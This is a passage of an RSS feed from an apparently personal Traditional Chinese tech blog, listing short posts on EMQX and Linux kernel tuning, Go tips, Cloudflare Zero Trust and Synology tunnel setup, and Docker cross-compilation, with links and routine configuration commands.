&lt;li>&lt;a href="https://tontinton.com/posts/database-fundementals/" target="_blank" rel="noopener">資料庫基礎&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Terraform Provider 開發紀錄</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221228-terraform-provider-development/</link><pubDate>Thu, 28 Dec 2023 12:36:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2022/20221228-terraform-provider-development/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://hazel.style/2022/12/06/Terraform-Provider-Development/" target="_blank" rel="noopener">Terraform Provider 開發紀錄&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>讓終端機下雪的 Python 腳本</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20231224-snow/</link><pubDate>Sun, 24 Dec 2023 15:40:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20231224-snow/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/sontek/snowmachine" target="_blank" rel="noopener">讓終端機下雪的 Python 腳本&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker run --rm -ti sontek/snowmachine tree --color rainbow --particle &lt;span style="color:#e6db74">&amp;#34;*&amp;#34;&lt;/span> --snow true --lights-color rainbow
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Container security fundamentals</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20231004-container/</link><pubDate>Wed, 04 Oct 2023 09:06:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20231004-container/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-1/" target="_blank" rel="noopener">Container security fundamentals: Exploring containers as processes&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-2/" target="_blank" rel="noopener">Container security fundamentals part 2: Isolation &amp;amp; namespaces&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-3/" target="_blank" rel="noopener">Container security fundamentals part 3: Capabilities&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-4/" target="_blank" rel="noopener">Container security fundamentals part 4: Cgroups&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-5/" target="_blank" rel="noopener">Container security fundamentals part 5: AppArmor and SELinux&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://securitylabs.datadoghq.com/articles/container-security-fundamentals-part-6/" target="_blank" rel="noopener">Container security fundamentals part 6: seccomp
&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>調整系統使得 EMQX 可以支援 1M 連線</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-mqtt/</link><pubDate>Wed, 27 Sep 2023 10:36:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-mqtt/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.infracloud.io/blogs/scale-emqx-one-million-connections-kubernetes/" target="_blank" rel="noopener">Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.emqx.io/docs/en/v5.2/performance/tune.html#linux-kernel-tuning" target="_blank" rel="noopener">Performance Tuning (Linux)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.facebook.com/technologynoteniu/posts/pfbid02ntZshJdTEHLhnkb4hATadU8qGdzB45T2AdmCqtx73oegqrCLNRTKJwkYNZkVNLMsl" target="_blank" rel="noopener">矽谷牛的耕田筆記&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="linux-kernel-tuning">Linux Kernel Tuning&lt;/h3>
&lt;ul>
&lt;li>node level, basically the non-namespaced sysctls&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Sets the maximum number of file handles allowed by the kernel&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w fs.file-max&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">2097152&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Sets the maximum number of open file descriptors that a process can have&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w fs.nr_open&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">2097152&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>namespaced sysctls&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Sets the maximum number of connections that can be queued for acceptance by the kernel.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.somaxconn&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">32768&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Sets the maximum number of SYN requests that can be queued by the kernel&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv4.tcp_max_syn_backlog&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">16384&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Setting the minimum, default and maximum size of TCP Buffer&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv4.tcp_rmem&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;1024 4096 16777216&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv4.tcp_wmem&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#39;1024 4096 16777216&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Setting Parameters for TCP Connection Tracking&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">30&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Controls the maximum number of entries in the TCP time-wait bucket table&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv4.tcp_max_tw_buckets&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1048576&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Controls Timeout for FIN-WAIT-2 Sockets:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.ipv4.tcp_fin_timeout&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Sets the size of the backlog queue for the network device&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.netdev_max_backlog&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">16384&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Amount of memory that is allocated for storing incoming and outgoing data for a socket&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.rmem_default&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">262144&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.wmem_default&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">262144&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Setting the maximum amount of memory for the socket buffers&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.rmem_max&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">16777216&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.wmem_max&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">16777216&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sysctl -w net.core.optmem_max&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">16777216&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="erlang-vm-tuning">Erlang VM Tuning&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## Erlang Process Limit&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>node.process_limit &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2097152&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">## Sets the maximum number of simultaneously existing ports for this system&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>node.max_ports &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2097152&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="emqx-broker-tuning">EMQX Broker Tuning&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-yaml" data-lang="yaml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Other configuration…&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">EMQX_LISTENER__TCP__EXTERNAL&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;0.0.0.0:1883&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS&lt;/span>: &lt;span style="color:#ae81ff">64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS&lt;/span>: &lt;span style="color:#ae81ff">1024000&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Install Chrome OS</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-chromeos/</link><pubDate>Wed, 27 Sep 2023 09:36:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-chromeos/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=Nc3bTBA4meo" target="_blank" rel="noopener">老電腦別丟掉！安裝 Google 免費作業系統安裝教學（Chrome OS Flex /CloudReady）&lt;/a>&lt;/li>
&lt;/ul>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/Nc3bTBA4meo?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;div style="margin-top: rem;">&lt;/div></description></item><item><title>永齡基金會AI大師論壇:人工智慧如何形塑人類未來</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-ai/</link><pubDate>Wed, 27 Sep 2023 09:36:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230927-ai/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=M3z6gI1AEns" target="_blank" rel="noopener">https://www.youtube.com/watch?v=M3z6gI1AEns&lt;/a>&lt;/li>
&lt;/ul>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/M3z6gI1AEns?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;div style="margin-top: rem;">&lt;/div></description></item><item><title>Golang tips</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-golang/</link><pubDate>Tue, 26 Sep 2023 22:15:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-golang/</guid><description>&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://coolshell.cn/articles/21128.html" target="_blank" rel="noopener">GO 编程模式：切片，接口，时间和性能&lt;/a>
Go 语言是一个高性能的语言，但并不是说这样我们就不用关心性能了，我们还是需要关心的。下面是一个在编程方面和性能相关的提示。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>如果需要把数字转字符串，使用 &lt;code>strconv.Itoa()&lt;/code> 会比 &lt;code>fmt.Sprintf()&lt;/code> 要快一倍左右&lt;/p>
&lt;/li>
&lt;li>
&lt;p>尽可能地避免把 &lt;code>String&lt;/code> 转成&lt;code>[]Byte&lt;/code> 。这个转换会导致性能下降。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>如果在 for-loop 里对某个 slice 使用 &lt;code>append()&lt;/code>请先把 slice 的容量很扩充到位，这样可以避免内存重新分享以及系统自动按 2 的 N 次方幂进行扩展但又用不到，从而浪费内存。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>使用 &lt;code>StringBuffer&lt;/code> 或是 &lt;code>StringBuild&lt;/code> 来拼接字符串，会比使用 &lt;code>+&lt;/code> 或 &lt;code>+=&lt;/code> 性能高三到四个数量级。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>尽可能的使用并发的 go routine，然后使用 &lt;code>sync.WaitGroup&lt;/code> 来同步分片操作&lt;/p>
&lt;/li>
&lt;li>
&lt;p>避免在热代码中进行内存分配，这样会导致 gc 很忙。尽可能的使用 &lt;code>sync.Pool&lt;/code> 来重用对象。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>使用 lock-free 的操作，避免使用 mutex，尽可能使用 &lt;code>sync/Atomic&lt;/code> 包。 （关于无锁编程的相关话题，可参看《&lt;a href="https://coolshell.cn/articles/8239.html" target="_blank" rel="noopener">无锁队列实现&lt;/a>》或《&lt;a href="https://coolshell.cn/articles/9703.html" target="_blank" rel="noopener">无锁 Hashmap 实现&lt;/a>》）&lt;/p>
&lt;/li>
&lt;li>
&lt;p>使用 I/O 缓冲，I/O 是个非常非常慢的操作，使用 &lt;code>bufio.NewWrite()&lt;/code> 和 &lt;code>bufio.NewReader()&lt;/code> 可以带来更高的性能。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>对于在 for-loop 里的固定的正则表达式，一定要使用 &lt;code>regexp.Compile()&lt;/code> 编译正则表达式。性能会得升两个数量级。&lt;/p>
&lt;/li>
&lt;li>
&lt;p>如果你需要更高性能的协议，你要考虑使用 &lt;a href="https://github.com/golang/protobuf" target="_blank" rel="noopener">protobuf&lt;/a> 或 &lt;a href="https://github.com/tinylib/msgp" target="_blank" rel="noopener">msgp&lt;/a> 而不是 JSON，因为 JSON 的序列化和反序列化里使用了反射。&lt;/p></description></item><item><title>datavizproject</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-datavizproject/</link><pubDate>Tue, 26 Sep 2023 13:29:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-datavizproject/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://datavizproject.com" target="_blank" rel="noopener">https://datavizproject.com&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>朋友旅行防止絕交檢查表</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-checklist/</link><pubDate>Tue, 26 Sep 2023 13:29:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-checklist/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://travel-questions.gnehs.net/" target="_blank" rel="noopener">https://travel-questions.gnehs.net/&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Cloudflare Zero Trust</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-cloudflare/</link><pubDate>Tue, 26 Sep 2023 09:01:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230926-cloudflare/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/private-net/connect-private-networks/" target="_blank" rel="noopener">Connect private networks&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/configure-warp/route-traffic/local-domains/" target="_blank" rel="noopener">Configure Local Domain Fallback&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/exclude-traffic/split-tunnels/" target="_blank" rel="noopener">Configure Split Tunnels&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-devices/warp/exclude-traffic/" target="_blank" rel="noopener">Traffic routing with WARP&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="1-設定-client">1. 設定 Client&lt;/h3>
&lt;h4 id="建立裝置註冊規則">建立裝置註冊規則&lt;/h4>
&lt;blockquote>
&lt;p>建立裝置註冊規則，用來決定哪些裝置可以加入 Zero Trust 組織。&lt;/p>&lt;/blockquote>
&lt;h5 id="設定裝置註冊權限">設定裝置註冊權限&lt;/h5>
&lt;ol>
&lt;li>在 Zero Trust 中，前往 Settings &amp;gt; WARP Client &amp;gt; Device enrollment &amp;gt; Device enrollment permissions &amp;gt; Manage。&lt;/li>
&lt;li>Rules &amp;gt; Policies &amp;gt; Add a rule &amp;gt; Include &amp;gt; Selector &amp;gt; Emails ending in &amp;gt; Value &amp;gt; @ruru910.com。&lt;/li>
&lt;/ol>
&lt;h3 id="2-透過-warp-路由私有網路-ip">2. 透過 WARP 路由私有網路 IP&lt;/h3>
&lt;ol>
&lt;li>在 Zero Trust 中，前往 Settings &amp;gt; WARP Client &amp;gt; Device settings &amp;gt; Profile settings &amp;gt; Profile name &amp;gt; Default &amp;gt; Configure。&lt;/li>
&lt;li>設定：
&lt;ol>
&lt;li>Enabled: Captive portal detection, Mode switch, Allow device to leave organization, Allow updates。&lt;/li>
&lt;li>Service mode: Gateway with WARP。&lt;/li>
&lt;li>Local Domain Fallback &amp;gt; Manage &amp;gt; Domain &amp;gt; nas.ruru910.com。&lt;/li>
&lt;li>Split Tunnels: Exclude IPs and domains &amp;gt; Manage。
&lt;ul>
&lt;li>刪除 nas.ruru910.com 的 IP range。&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol>
&lt;h3 id="3-用-gateway-過濾網路流量">3. 用 Gateway 過濾網路流量&lt;/h3>
&lt;h4 id="1-啟用-gateway-代理">1. 啟用 Gateway 代理&lt;/h4>
&lt;ol>
&lt;li>在 Zero Trust 中，前往 Settings &amp;gt; Network。
&lt;ol>
&lt;li>Gateway Logging: Capture all。&lt;/li>
&lt;li>Firewall: Proxy(TCP, UDP, ICMP), WARP to WARP, AV inspection。&lt;/li>
&lt;/ol>
&lt;/li>
&lt;/ol>
&lt;h4 id="2-建立-zero-trust-policies">2. &lt;a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/private-net/connect-private-networks/#create-zero-trust-policies" target="_blank" rel="noopener">建立 Zero Trust Policies&lt;/a>&lt;/h4>
&lt;ol>
&lt;li>前往 Access &amp;gt; Applications &amp;gt; Add an application &amp;gt; Private Network &amp;gt; Application Type &amp;gt; Destination IP。&lt;/li>
&lt;li>Value 輸入應用程式的 IP（例如 10.128.0.7）。&lt;/li>
&lt;li>修改 policy &amp;gt; identify &amp;gt; Selector &amp;gt; User Email &amp;gt; in &amp;gt; @ruru910.com。&lt;/li>
&lt;/ol></description></item><item><title>在 Synology 上建立 Cloudflare Tunnel</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230925-cloudflare/</link><pubDate>Mon, 25 Sep 2023 22:01:00 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230925-cloudflare/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.youtube.com/watch?v=5IrtNxfzH1o" target="_blank" rel="noopener">CLOUDFLARE tunnel on SYNOLOGY. (the raw way)&lt;/a>&lt;/li>
&lt;/ul>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/5IrtNxfzH1o?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;div style="margin-top: rem;">&lt;/div>
&lt;h2 id="setup-synology">Setup Synology&lt;/h2>
&lt;ol>
&lt;li>在 docker 目錄下建立資料夾，例如 &lt;code>cloudflare-tunnel&lt;/code>。&lt;/li>
&lt;li>下載 cloudflared/cloudflared 映像到 registry。&lt;/li>
&lt;li>SSH 到 admin@synology。&lt;/li>
&lt;li>變更 &lt;code>cloudflare-tunnel&lt;/code> 擁有者，&lt;code>sudo chown -R 65532:65532 /volume1/docker/cloudflare-tunnel&lt;/code>。&lt;/li>
&lt;/ol>
&lt;h3 id="run-containers">Run containers&lt;/h3>
&lt;h4 id="--cloudflared-tunnel-login">- &lt;code>cloudflared tunnel login&lt;/code>&lt;/h4>
&lt;ol>
&lt;li>執行容器並掛載 volume &lt;code>docker/cloudflare-tunnel:/home/nonroot/.cloudflared&lt;/code>。&lt;/li>
&lt;li>在 network 分頁選擇 &lt;code>Use the same network as Docker Host&lt;/code>。&lt;/li>
&lt;li>在 environment 分頁加入指令 &lt;code>tunnel login&lt;/code>。&lt;/li>
&lt;li>到容器 log 複製登入 URL。&lt;/li>
&lt;li>貼上 URL 到瀏覽器並授權 zone。&lt;/li>
&lt;li>將容器設定 json 匯出到 &lt;code>cloudflare-tunnel&lt;/code> 目錄。&lt;/li>
&lt;/ol>
&lt;h4 id="--cloudflared-tunnel-create-synology-tunnel">- &lt;code>cloudflared tunnel create synology-tunnel&lt;/code>&lt;/h4>
&lt;ol>
&lt;li>編輯 &lt;code>cloudflare-tunnel&lt;/code> 目錄中的容器設定 json，修改 cmd 為 &lt;code>tunnel create synology-tunnel&lt;/code>。&lt;/li>
&lt;li>匯入容器設定 json 並執行新容器。&lt;/li>
&lt;li>容器會停止，並在 &lt;code>cloudflare-tunnel&lt;/code> 中建立 tunnel config json。&lt;/li>
&lt;li>建立 config.yml 並撰寫 ingress 規則。&lt;/li>
&lt;li>在 config.yml 中，tunnel 的值要與 tunnel config json 檔名一致，credentials-file 為 &lt;code>/home/nonroot/.cloudflared/tunnel config json&lt;/code>。&lt;/li>
&lt;li>將第二個容器設定 json 匯出到 &lt;code>cloudflare-tunnel&lt;/code> 目錄。&lt;/li>
&lt;/ol>
&lt;h4 id="--cloudflared-tunnel-route-dns-synology-tunnel-synologyruru910com">- &lt;code>cloudflared tunnel route dns synology-tunnel synology.ruru910.com&lt;/code>&lt;/h4>
&lt;ol>
&lt;li>編輯 &lt;code>cloudflare-tunnel&lt;/code> 目錄中的第二個容器設定 json，修改 cmd 為 &lt;code>tunnel route dns synology-tunnel synology.ruru910.com&lt;/code>。&lt;/li>
&lt;li>匯入第二個容器設定 json 並執行新容器。&lt;/li>
&lt;li>容器會停止並建立 DNS 紀錄，將網域指到 tunnel。&lt;/li>
&lt;/ol>
&lt;h4 id="--cloudflared-tunnel-run-synology-tunnel">- &lt;code>cloudflared tunnel run synology-tunnel&lt;/code>&lt;/h4>
&lt;ol>
&lt;li>編輯 &lt;code>cloudflare-tunnel&lt;/code> 目錄中的第二個容器設定 json，修改 cmd 為 &lt;code>tunnel run synology-tunnel&lt;/code>。&lt;/li>
&lt;li>匯入第二個容器設定 json 並執行新容器。&lt;/li>
&lt;li>Tunnel 現在可以連線使用。&lt;/li>
&lt;/ol></description></item><item><title>Go 設計模式</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230916-go-patterns/</link><pubDate>Sat, 16 Sep 2023 16:08:12 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230916-go-patterns/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://github.com/tmrts/go-patterns" target="_blank" rel="noopener">Go 設計模式&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mohuishou/go-design-pattern" target="_blank" rel="noopener">go-design-pattern&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>更快的多平台建置：Dockerfile 交叉編譯指南</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230904-faster-multi-platform-builds-dockerfile-cross-compilation-guide/</link><pubDate>Mon, 04 Sep 2023 10:31:54 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2023/20230904-faster-multi-platform-builds-dockerfile-cross-compilation-guide/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://www.docker.com/blog/faster-multi-platform-builds-dockerfile-cross-compilation-guide/" target="_blank" rel="noopener">更快的多平台建置：Dockerfile 交叉編譯指南&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="方法">方法&lt;/h3>
&lt;ul>
&lt;li>&lt;code>docker buildx create --use&lt;/code>&lt;/li>
&lt;li>&lt;code>FROM --platform=linux/amd64 debian&lt;/code> / &lt;code>FROM --platform=$BUILDPLATFORM debian&lt;/code>&lt;/li>
&lt;li>變數&lt;/li>
&lt;/ul>
&lt;pre tabindex="0">&lt;code>BUILDPLATFORM — matches the current machine. (e.g. linux/amd64)
BUILDOS — os component of BUILDPLATFORM, e.g. linux
BUILDARCH — e.g. amd64, arm64, riscv64
BUILDVARIANT — used to set ARM variant, e.g. v7
TARGETPLATFORM — The value set with --platform flag on build
TARGETOS - OS component from --platform, e.g. linux
TARGETARCH - Architecture from --platform, e.g. arm64
TARGETVARIANT
&lt;/code>&lt;/pre>&lt;h3 id="範例">範例&lt;/h3>
&lt;ul>
&lt;li>before&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-dockerfile" data-lang="dockerfile">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">FROM&lt;/span>&lt;span style="color:#e6db74"> golang:1.17-alpine AS build&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#960050;background-color:#1e0010">&lt;/span>&lt;span style="color:#66d9ef">WORKDIR&lt;/span>&lt;span style="color:#e6db74"> /src&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
